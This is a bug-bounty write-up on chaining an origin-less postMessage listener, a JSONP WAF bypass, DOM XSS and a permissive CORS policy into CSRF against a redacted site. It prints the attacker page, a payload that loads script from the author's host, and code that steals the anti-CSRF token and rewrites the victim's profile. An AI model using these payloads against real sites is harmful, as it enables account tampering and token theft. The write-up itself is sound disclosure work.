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Content

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10 minutes

A smorgasbord of a bug chain: postMessage, JSONP, WAF bypass, DOM-based XSS, CORS, CSRF...

TL;DR ¶

A few months ago, while hunting on a public bug-bounty programme, I found a nice little bug chain that involved

- an insecure message event listener,
- a shoddy JSONP endpoint,
- a WAF bypass,
- DOM-based XSS on an out-of-scope subdomain,
- a permissive CORS configuration,

all to achieve CSRF against an in-scope asset. Read on for a deep dive about it.

Be aware that I've redacted some identifying information in order to protect the target organisation's anonymity; I've also omitted some unimportant details in order to make the story of this bug chain more entertaining.

On the hunt for an elusive CSRF ¶

The scope of my target's bug-bounty programme was limited to `www.redacted.com` and a few other subdomains of `redacted.com`. At that point, I had run out of ideas for finding vulnerabilities there. The possibility of an exploitable [cross-site request forgery \(CSRF\)](#) lingered in my mind, though...

I had noticed that some subdomains, such as `inscope.redacted.com`, could perform sensitive actions (such as updating the authenticated user's profile) by issuing `POST` requests to endpoints rooted at `https://www.redacted.com/api`. Authentication of such requests relied on [ambient authority](#), in the form of a cookie named `sid` and marked `SameSite=None` and `Secure`.

Unfortunately, those endpoints required, as a defence against CSRF, the presence of a token (tied to the authenticated user's session) in a query parameter named `csrftoken`. Client code running in the context of `https://inscope.redacted.com` would retrieve that anti-CSRF token via an authenticated `GET` request to `https://www.redacted.com/profile`, which was accordingly configured for CORS.

Furthermore, I couldn't find a straightforward way to steal that anti-CSRF token from my victim. In my quest for CSRF, I had seemingly hit a brick wall.

A permissive CORS policy drives me out of scope ¶

When my progress on a target stalls like this, I typically start exploring out-of-scope assets in the hope of discovering and abusing a trust relationship they have with some in-scope assets. After further testing the `https://www.redacted.com/profile` endpoint, I realised that its CORS configuration allowed, not just origin `https://in-scope.redacted.com`, but any Web origin made up of some arbitrary subdomain of `redacted.com`:

```
$ curl -sD - -o /dev/null \  
  -H "Origin: https://whatever.redacted.com" \  
  -H "Cookie: sid=xxx-yyy-zzz" \  
  https://www.redacted.com/profile
```

```
HTTP/1.1 200 OK  
Access-Control-Allow-Origin: https://whatever.redacted.com  
Vary: Origin  
-snip-
```

Therefore, if I could discover an instance of [cross-site scripting \(XSS\)](#) on any `redacted.com` subdomain (even an out-of-scope one), I would be able to steal my victim's anti-CSRF token and then mount CSRF attacks against `https://www.redacted.com/api` endpoints. With this plan in mind, I set out to scrutinise out-of-scope subdomains of `redacted.com`.

Insecure message event listener on out-of-scope subdomain ¶

Equipped with [Frans Rosén's excellent *postMessage-tracker* Chrome extension](#), I quickly homed in on `https://out-of-scope.redacted.com/search`, which had an intriguing [listener on `'message'` events](#):

```
function handleMessageEvent(e) {
  try {
    var t = e;
    if (void 0 !== e.data && (t = e.data), "string" === typeof t) {
      try {
        t = JSON.parse(t)
      } catch (e) {
        return !1
      }
    }
    if (void 0 === t.method) return !1;
    var n, r = t.method.split(".");
    if (!(r.length > 0 && "APP" === r[0])) return !1;
    n = window;
    for (var a = 0; a < r.length; a++) {
      if (void 0 === n[r[a]]) {
        throw APP.Exception("COMMUNICATION_SECURITY");
      }
      n = n[r[a]]
    }
    if ("function" !== typeof n) {
      throw APP.Exception("COMMUNICATION_SECURITY");
    }
    n(t.arg)
  } catch (e) {
    APP.catchException(e)
  }
  return !1
}
```

The conspicuous absence of an [origin check](#) from that event listener implies that any malicious page (deployed anywhere on the Web) that holds a reference to a document whose location is `https://out-of-scope.redacted.com/search` can send malicious Web messages to that document, and those messages would unconditionally get accepted and processed. With what impact? That entirely depends on the logic of the listener. A casual static analysis of the code indicates that, on its “happy path”, the message event listener does the following:

- Parse the event's `data` property as JSON and stored the result in an object named `t`.
- Split the `method` property on periods.
- Use the result of step 2 to iteratively access nested properties of some `window.APP` object (declared elsewhere in the client).
- Call the function thus obtained and pass it a property named `arg` of object `t` (see step 1) as argument.

In summary, my malicious page could send a specially crafted Web message to `https://out-of-scope.redacted.com/search` in order to trigger the execution of some malicious JavaScript code in the context of Web origin `https://out-of-scope.redacted.com`. For instance, consider the following string:

```
`{"method": "APP.foo.bar.baz", "arg": "qux"}`
```

On the condition that expression `window.APP.foo.bar.baz` be defined and actually be a function, sending the aforementioned string as a Web message to `https://out-of-scope.redacted.com/search` would lead the latter to execute the following JavaScript code:

```
APP.foo.bar.baz('qux')
```

Unfortunately, the listener's logic limited this vector for [DOM-based XSS](#) to calls to functions accessible through the `window.APP` object, and with a single arbitrary argument of type `string`. Try as I may, I couldn't find a way to access powerful DOM functionalities like `eval` or [Function's constructor](#) in order to escalate this finding to *unrestricted* DOM-based XSS. Faced with this constraint, I had no other option than to painstakingly explore the properties of the `window.APP` object in the hope of discovering some useful [script gadget](#).

Perhaps a simpler solution escaped me then; I have no doubt that perceptive readers who are XSS experts or who simply have perused [Gareth Heyes's](#) recently released book, [JavaScript for Hackers](#), will point one out to me. Gareth, I promise you that your book is next on my reading list!

A function named `APP.util.setCookie` immediately stood out. As its name implies, it allowed callers to set arbitrary cookies on the `out-of-scope.redacted.com` domain. For example, a malicious cross-origin page could set a cookie named `foo` with value `bar` on `out-of-scope.redacted.com` like so:

```
const win = window.open('https://out-of-scope.redacted.com');  
// omitted: wait a few seconds for the page to load  
const msg = `{"method":"APP.util.setCookie", "arg":"foo=bar"}`;  
win.postMessage(msg, '*');
```

The ability to set cookies across Web origins often helps Web attackers gain a foothold on their target: it may allow them to achieve [session fixation](#), unlock otherwise seldom exploitable cookie-based XSS, defeat some implementations of the [double-submit-cookie defence](#) against CSRF, etc. Sadly, I could not find a way to abuse that `APP.util.setCookie` function to cause real damage.

A shoddy JSONP endpoint leads to DOM-based XSS ¶

However, a function named `window.APP.apiCall` eventually caught my eye:

```
function apiCall(t, n, r, a) {
  try {
    "/" !== t[0] && (t = "/" + t);
    var o = t.split("?"),
        i = [];
    if (o.length > 1 && (t = o[0],
        i = o[1].split("&")),
        t = "https://search.redacted.com" + t,
        "get" !== n && i.push("request_method=" + n),
        null !== r)
      for (var c in r)
        ({}).hasOwnProperty.call(r, c) &&
          i.push(c + "=" + encodeURIComponent(r[c]));
    i.push("output=jsonp"),
      null !== e.token && i.push("access_token=" + e.token),
      i.push("version=js-v" + e._version),
      e.request._send({
        path: t,
        path_args: i,
        callback: a,
        callback_name: "callback"
      })
  } catch (t) {
    e.catchException(t)
  }
}
```

I'll spare you from the labyrinthine and irrelevant details of that function. Only two observations about `window.APP.apiCall` matter:

- `window.APP.apiCall` is designed to send a request to a [JSONP endpoint](#) on `https://search.redacted.com` and load the response as an external script (in the context of Web origin `https://out-of-scope.redacted.com`); and
- `window.APP.apiCall` doesn't build the JSONP URL in a particularly secure way.

Further dynamic tests on this JSONP endpoint revealed that it was protected by [Akamai's Web-application firewall \(WAF\)](#). But I serendipitously discovered that, thanks to some questionable URL parsing on the server side, this obstacle could easily be bypassed. For an illustrative example, consider this first request and its `403` response from Akamai:

```
GET https://search.redacted.com/?callback=alert&output=jsonp HTTP/2
-snip-
```

```
HTTP/2 403 Forbidden
Server: AkamaiGHost
-snip-
```

Now consider this second request (note the absence of a `?` marking the beginning of the URL's querystring) and its `200` response from the origin server:

```
GET https://search.redacted.com/&callback=alert&output=jsonp HTTP/2
-snip-
```

```
HTTP/2 200
Server: Apache
Content-Length: 59
Content-Type: text/javascript; charset=utf-8
-snip-

alert({"error":{"msg":"Unknown path components: \\/get"}})
```

Moreover, the JSONP endpoint was very lenient in the validation of its callback; on the condition that the value of the `callback` query parameter be ([fully](#)) doubly URL-encoded, the JSONP endpoint would accept it:

```
GET
https://search.redacted.com/&callback=alert%2528%2527xss%2527%2529%252F%252F&output=jsonp
HTTP/2
-snip-
```

```
HTTP/2 200
Content-Type: text/javascript; charset=utf-8
-snip-

alert('xss')//({"error":{"msg":"Unknown path components: \\/get"}})
```

Happy days! I could now craft a malicious page that would send a Web message to `https://out-of-scope.redacted.com/search` designed to trick the latter into hitting the JSONP endpoint with a payload of my choice. And as a result, I could get arbitrary JavaScript code (e.g. `alert(document.domain)`) to execute in the context of Web origin `https://out-of-scope.redacted.com`:

```
const url = 'https://out-of-scope.redacted.com/search';
const win = window.open(url);
// omitted: wait a few seconds for the page to load
const msg = {
  'method': 'APP.apiCall',
  'arg': '&callback=alert%2528document.domain%2529%252f%252f&output=jsonp#'
};
win.postMessage(JSON.stringify(msg), '*');
```

Now armed with this unrestricted DOM-based XSS on Web origin `https://out-of-scope.redacted.com` (which, as you may recall, was allowed in the CORS configuration of the `https://www.redacted.com/profile` resource), I had a way to steal my victim's anti-CSRF token.

The need for one-click user interaction ¶

In order to send Web messages to their intended destination (`https://out-of-scope.redacted.com/search`), my malicious page first needed to acquire a reference to either an `iframe` or a window opened on that page. Unfortunately, cross-origin framing of `https://out-of-scope.redacted.com/search` was [out of the question](#) because all of my target's responses invariably contained the following header:

```
X-Frame-Options: SAMEORIGIN
```

However, I could instead design my malicious page to open `https://out-of-scope.redacted.com/search` in a pop-up window at the expense of a modicum of user interaction—necessary for bypassing the [browser's pop-up blocker](#)—such as clicking a button.

Putting it all together for a one-click CSRF ¶

I deployed the following static page to `https://redacted.jub0bs.com/index.html`:

```

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function encode(str) {
        return encodeURIComponent(str).replace(
          /['()*]/g,
          (c) => `%${c.charCodeAt(0).toString(16).toUpperCase()}`,
        );
      }
      var win;
      function sendMsg() {
        const url = new URL("https://out-of-scope.redacted.com/search");
        if (typeof win === 'undefined') {
          win = open(url);
        }
        const delayMs = 2000;
        const payload = new URLSearchParams(window.location.search)
          .get("payload");
        setTimeout(() => {
          const doubleEncodedPayload = encode(encode(`${payload}//`));
          const msg = {
            'method': 'APP.apiCall',
            'arg': `&callback=${doubleEncodedPayload}&output=jsonp#`
          };
          win.postMessage(JSON.stringify(msg), url.origin);
        }, delayMs);
      }
    </script>
    <input type=button value="Click me!" onclick="sendMsg();">
  </body>
</html>

```

The page consists of a single button, a click on which would cause my malicious payload to execute on `https://out-of-scope.redacted.com`. Note that, for testing purposes, I opted to parameterise the malicious payload via a query parameter named `payload`. I also deployed the following JavaScript file to `https://redacted.jub0bs.com/1.js`:

```

async function stealToken() {
  const url = 'https://www.redacted.com/profile';
  const opts = {method: 'POST', credentials: 'include'};
  return await fetch(url, opts)
    .then(body => body.json())
    .then(data => data.csrfToken);
}

async function csrf() {
  const token = await stealToken();
  const url = `https://www.redacted.com/api/updateProfile?csrfToken=${token}`;
  const randomString = (Math.random() + 1).toString(36).substring(7);
  const data = {'username': `PWNED_${randomString}`};
  const opts = {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify(data)
  };
  fetch(url, opts);
}

csrf();

```

I could then lure a victim authenticated on `https://www.redacted.com` to the following URL:

```

https://redacted.jub0bs.com/?
payload=var%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%22https%3A%2F%2Fred
acted.jub0bs.com%2F1.js%22%3Bdocument.head.appendChild%28s%29%3B

```

If my victim subsequently clicked the button, she would unwittingly update her username on `https://www.redacted.com` to a telltale value of something like `PWNED_ysp4d`.

Epilogue ¶

I promptly reported my findings through my target's bug-bounty programme with a [CVSS vector of AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N \(7.1 High\)](#). According to their reward table, *High* paid just under €1,000. I was hopeful that, despite the need for user interaction, my perseverance and the complexity of my bug chain would compel the triage team to throw in a small bonus for good measure.

Unfortunately, the gnarliest bug chains don't always turn out to be lucrative. For my report, I only got the princely sum of €200. And despite my repeated calls for a justification, the programme remained dead silent. You won't be surprised to learn that I have no plans to spend any more time on that programme until they reassess their reward policy.

Ultimately, knowledge is its own reward, I suppose. If anything, this bug chain reinforced my belief that going out of scope is hardly ever a pointless exercise.

Acknowledgements ¶

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[CORSCSRFJSONP](#) [WAF bypass](#) [XSSbug bounty](#) [cross-origin resource sharing](#) [cross-site scriptin](#)
[g](#) [originpostMessage](#) [security](#)

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